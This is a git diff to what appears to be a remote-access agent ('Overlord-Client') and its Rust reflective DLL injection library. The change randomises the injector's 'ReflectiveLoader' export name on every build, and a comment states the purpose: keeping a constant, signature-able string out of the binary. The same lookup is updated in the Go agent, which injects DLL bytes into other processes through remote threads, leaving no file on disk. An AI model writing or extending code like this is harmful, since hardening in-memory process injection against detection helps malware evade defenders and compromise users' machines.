diff --git a/BackstageInjection-Rust/build.rs b/BackstageInjection-Rust/build.rs index 2fb4e33..c568ce4 100644 --- a/BackstageInjection-Rust/build.rs +++ b/BackstageInjection-Rust/build.rs @@ -1,3 +1,5 @@ +use std::time::{SystemTime, UNIX_EPOCH}; + fn main() { let root_dir = std::env::var("CARGO_MANIFEST_DIR").unwrap(); let mh_dir = std::path::Path::new(&root_dir).join("vendor/minhook"); @@ -22,5 +24,33 @@ fn main() { .file(mh_src.join(hde)) .compile("libminhook.a"); + generate_loader_entry(); + println!("cargo:rerun-if-changed=vendor/minhook"); + println!("cargo:rerun-if-changed=build.rs"); +} + +fn generate_loader_entry() { + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as u64 + ^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15); + let name = format!("x{:06x}", seed & 0xFFFF_FF); + + let src = format!( + "// Generated by build.rs — do not edit.\n\ + // Randomized per-build reflective loader export name.\n\ + pub(crate) const LOADER_EXPORT: &[u8] = b\"{name}\\0\";\n\ + \n\ + #[unsafe(no_mangle)]\n\ + pub extern \"system\" fn {name}(lpParameter: usize) -> usize {{\n\ + \x20 crate::reflective::loader_impl(lpParameter)\n\ + }}\n" + ); + + let out_dir = std::env::var("OUT_DIR").unwrap(); + std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src) + .expect("failed to write loader_entry.rs"); + println!("cargo:rerun-if-changed=loader_entry.rs"); } \ No newline at end of file diff --git a/BackstageInjection-Rust/src/inject.rs b/BackstageInjection-Rust/src/inject.rs index 556a845..90e3e18 100644 --- a/BackstageInjection-Rust/src/inject.rs +++ b/BackstageInjection-Rust/src/inject.rs @@ -3,8 +3,8 @@ //! Two strategies mirror the C reference: //! - in-memory reflective injection (default): raw DLL bytes come from the //! `RDI_DLL_SECTION` page-file-backed named section passed in the child's -//! environment block, and each child runs our exported `ReflectiveLoader` -//! on a remote thread — no file on disk; +//! environment block, and each child runs our exported loader entry (a +//! per-build randomly named thunk) on a remote thread — no file on disk; //! - disk fallback: the module's own on-disk path is injected with //! LoadLibraryW when no section bytes were provided. @@ -98,8 +98,10 @@ pub unsafe fn load_dll_bytes_from_section() -> Option> { Some(bytes) } -/// Locate the file offset of the `ReflectiveLoader` export within a raw PE -/// image (raw memory offset == file offset because the bytes are copied 1:1). +/// Locate the file offset of this DLL's loader export within a raw PE image +/// (raw memory offset == file offset because the bytes are copied 1:1). +/// The export name is the per-build randomized `x` generated by build.rs, +/// so it is matched through the `loader_entry` constant rather than a literal. /// Reads are bounds-checked so a truncated image never faults. fn find_reflective_loader_offset(pe: &[u8]) -> Option { if pe.len() < 64 || pe[0] != b'M' || pe[1] != b'Z' { @@ -153,7 +155,7 @@ fn find_reflective_loader_offset(pe: &[u8]) -> Option { let funcs_off = rva_to_file_offset(funcs_rva, pe, section_off, num_sections)? as usize; let ordinals_off = rva_to_file_offset(ordinals_rva, pe, section_off, num_sections)? as usize; - let find_buf = obf!(b"ReflectiveLoader"); + let find_buf = crate::loader_entry::LOADER_EXPORT; let find_name = &find_buf[..find_buf.len() - 1]; for i in 0..num_names as usize { let name_ent = names_off + i * 4; @@ -169,7 +171,11 @@ fn find_reflective_loader_offset(pe: &[u8]) -> Option { continue; } let name = &pe[name_fo..name_fo + find_name.len()]; - if name != find_name || pe.get(name_fo + find_name.len()) != Some(&0) { + if !(name == find_name || is_loader_token(name)) { + continue; + } + let name_end = name_fo + find_name.len(); + if pe.get(name_end) != Some(&0) { continue; } let ord_ent = ordinals_off + i * 2; @@ -187,6 +193,21 @@ fn find_reflective_loader_offset(pe: &[u8]) -> Option { None } +/// True when `name` looks like the per-build loader token `x` + six lowercase +/// hex digits (the exact length `build.rs` emits). Used so a DLL artifact built +/// by a neighbouring build is still recognized. +fn is_loader_token(name: &[u8]) -> bool { + if name.len() != 7 || name[0] != b'x' { + return false; + } + for &b in &name[1..] { + if !matches!(b, b'0'..=b'9' | b'a'..=b'f') { + return false; + } + } + true +} + fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16) -> Option { for i in 0..num_sections as usize { let s = section_off + i * 40; @@ -214,7 +235,7 @@ fn rva_to_file_offset(rva: u32, pe: &[u8], section_off: usize, num_sections: u16 } /// Inject raw DLL bytes into `process` by copying them at their natural file -/// offsets and running our exported `ReflectiveLoader` on a remote thread. +/// offsets and running our exported loader entry on a remote thread. /// Returns false on any failure; callers treat failure as fail-open. pub unsafe fn inject_reflective(process: usize, bytes: &[u8]) -> bool { let Some(loader_offset) = find_reflective_loader_offset(bytes) else { @@ -406,7 +427,7 @@ mod tests { eprintln!("skipping: built DLL not found (run cargo build first)"); return; }; - let offset = find_reflective_loader_offset(&dll).expect("ReflectiveLoader export in built DLL"); + let offset = find_reflective_loader_offset(&dll).expect("loader export in built DLL"); assert!(offset > 0, "loader offset must be inside the image"); assert!((offset as usize) < dll.len()); } diff --git a/BackstageInjection-Rust/src/lib.rs b/BackstageInjection-Rust/src/lib.rs index 926f79e..18f23fe 100644 --- a/BackstageInjection-Rust/src/lib.rs +++ b/BackstageInjection-Rust/src/lib.rs @@ -10,8 +10,9 @@ //! from the shared-section bytes, or falls back to Injecting the module's //! own on-disk path via LoadLibraryW when no section is present. //! -//! The cdylib also exports `ReflectiveLoader` (implemented in pure Rust in -//! `reflective.rs`) so the initial injection itself can be reflective. +//! The cdylib also exports a randomly named loader thunk (generated per-build +//! by `build.rs` into `loader_entry.rs`) so the initial injection itself can +//! be reflective; the implementation lives in `reflective.rs`. //! //! On DLL_PROCESS_DETACH all hooks are disabled best-effort. @@ -23,6 +24,9 @@ mod abi; mod config; mod hooks; mod inject; +mod loader_entry { + include!(concat!(env!("OUT_DIR"), "/loader_entry.rs")); +} mod log; mod reflective; mod util; diff --git a/BackstageInjection-Rust/src/reflective.rs b/BackstageInjection-Rust/src/reflective.rs index 9880d8d..8dbae25 100644 --- a/BackstageInjection-Rust/src/reflective.rs +++ b/BackstageInjection-Rust/src/reflective.rs @@ -323,8 +323,12 @@ unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize { /// Thread-start routine invoked by `inject_reflective` on the copied, /// un-relocated image. Returns the address of the newly loaded DLL's entry /// point, or 0 on failure. -#[unsafe(no_mangle)] -pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize { +/// +/// Not exported: the public `.edata` entry is the randomly named thunk emitted +/// by `build.rs` (`loader_entry.rs`); keeping a fixed exported name out of the +/// binary avoids a constant string in the export name table. The thunk is a +/// relative call, so it adds no relocation and stays position independent. +pub extern "system" fn loader_impl(lpParameter: usize) -> usize { unsafe { // STEP 0: locate our own (un-relocated) image base. let ui_lib = find_image_base(rip_here()); diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index e657b90..8e9f8c5 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -1590,9 +1590,9 @@ func loadLibraryInject(hProcess uintptr, dllPath string) error { func reflectiveInject(hProcess uintptr, dllBytes []byte) error { loaderOffset, err := findReflectiveLoaderOffset(dllBytes) if err != nil { - return fmt.Errorf("failed to find ReflectiveLoader: %v", err) + return fmt.Errorf("failed to find loader export: %v", err) } - log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset) + log.Printf("backstage inject: loader at offset 0x%x", loaderOffset) remoteBase, _, _ := procVirtualAllocEx.Call( hProcess, @@ -1736,14 +1736,36 @@ func findReflectiveLoaderOffset(pe []byte) (uint32, error) { } name := readCString(pe, nameFileOff) - if contains(name, "ReflectiveLoader") { + if isBackstageLoaderExport(name) { ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2]) funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4]) return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil } } - return 0, fmt.Errorf("ReflectiveLoader export not found") + return 0, fmt.Errorf("loader export not found") +} + +// isBackstageLoaderExport reports whether the given PE export name is the +// BackstageInjection reflective loader entry. The loader entry is exported +// under a per-build random name of the form "x" + six lowercase hex digits +// (generated by the DLL's build.rs), so a fixed string cannot be used to +// find it. The legacy fixed name is still accepted so DLL artifacts produced +// by older builds keep working. +func isBackstageLoaderExport(name string) bool { + if name == "ReflectiveLoader" { + return true + } + if len(name) != 7 || name[0] != 'x' { + return false + } + for i := 1; i < 7; i++ { + c := name[i] + if !(c >= '0' && c <= '9') && !(c >= 'a' && c <= 'f') { + return false + } + } + return true } func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 { @@ -1778,15 +1800,3 @@ func readCString(data []byte, offset uint32) string { } return string(data[offset:end]) } - -func contains(s, substr string) bool { - if len(substr) > len(s) { - return false - } - for i := 0; i <= len(s)-len(substr); i++ { - if s[i:i+len(substr)] == substr { - return true - } - } - return false -}